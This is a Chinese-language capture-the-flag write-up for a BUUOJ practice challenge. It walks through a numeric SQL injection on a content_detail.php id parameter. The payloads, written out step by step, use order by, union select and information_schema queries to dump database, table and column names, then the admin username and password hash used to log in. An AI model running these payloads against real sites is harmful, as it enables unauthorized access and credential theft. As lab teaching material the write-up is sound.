目录
1. 观察页面
只有两块主要内容,热点和登录
2. 测试登录
发现貌似没用存在注入点
3. 高度怀疑热点
这时候,我们打开火狐浏览器,用f12,选择网络看一下有什么猫腻
- 状态码200:请求已成功,请求所希望的响应头或数据体将随此响应返回。即返回的数据为全量的数据,如果文件不通过GZIP压缩的话,文件是多大,则要有多大传输量。
- 状态码304:如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。即客户端和服务器端只需要传输很少的数据量来做文件的校验,如果文件没有修改过,则不需要返回全量的数据。
- 404 - 请求的网页不存在
4. 访问状态码为200的文件看看
发现id有三个选项,每一个选项都对应不同title,所以id这里存在注入,并且肉眼可见为整数
5. 判断
32d2248d-fa83-4993-8f07-359b3fb7b580.node4.buuoj.cn:81/backend/content_detail.php?id=1
32d2248d-fa83-4993-8f07-359b3fb7b580.node4.buuoj.cn:81/backend/content_detail.php?id=2
页面发生变化
and 1 = 1;and 1 = 2;1' ;and 1 = 2;1'
确定为数字型注入
6. 判断字段数
1 order by 2
1 order by 3
所以字段数为3
7. 显位
id = 0 union select 1,2
两个位置都可以显示出来
8. 爆库
id=0 union select 1,group_concat(schema_name) from (information_schema.schemata)
得到所有数据库名:information_schema,ctftraining,mysql,performance_schema,test,news
id=0 union select 1,database()
当前数据库名为:news
9. 爆表
d=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
当前数据库表名有: admin,contents
10. 爆列
d=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'
得到admin表中有 id,username,password
所以我们完全不用爆另外一个表中的内容,我们只要得到用户名和密码就可以登录用户端,嘿嘿嘿
11. 爆值
id=0 union select 1,group_concat(id,username,password) from (admin)
所以得到id为1,用户名为admin,密码为b351446f7f293e177170cff38dc59b42
这密码看着像md5加密,不过咱先别慌着解密,直接无厘头试一试
12. 登录
所以就这样简单操作,一份免费的flag就到手啦!你学废了吗?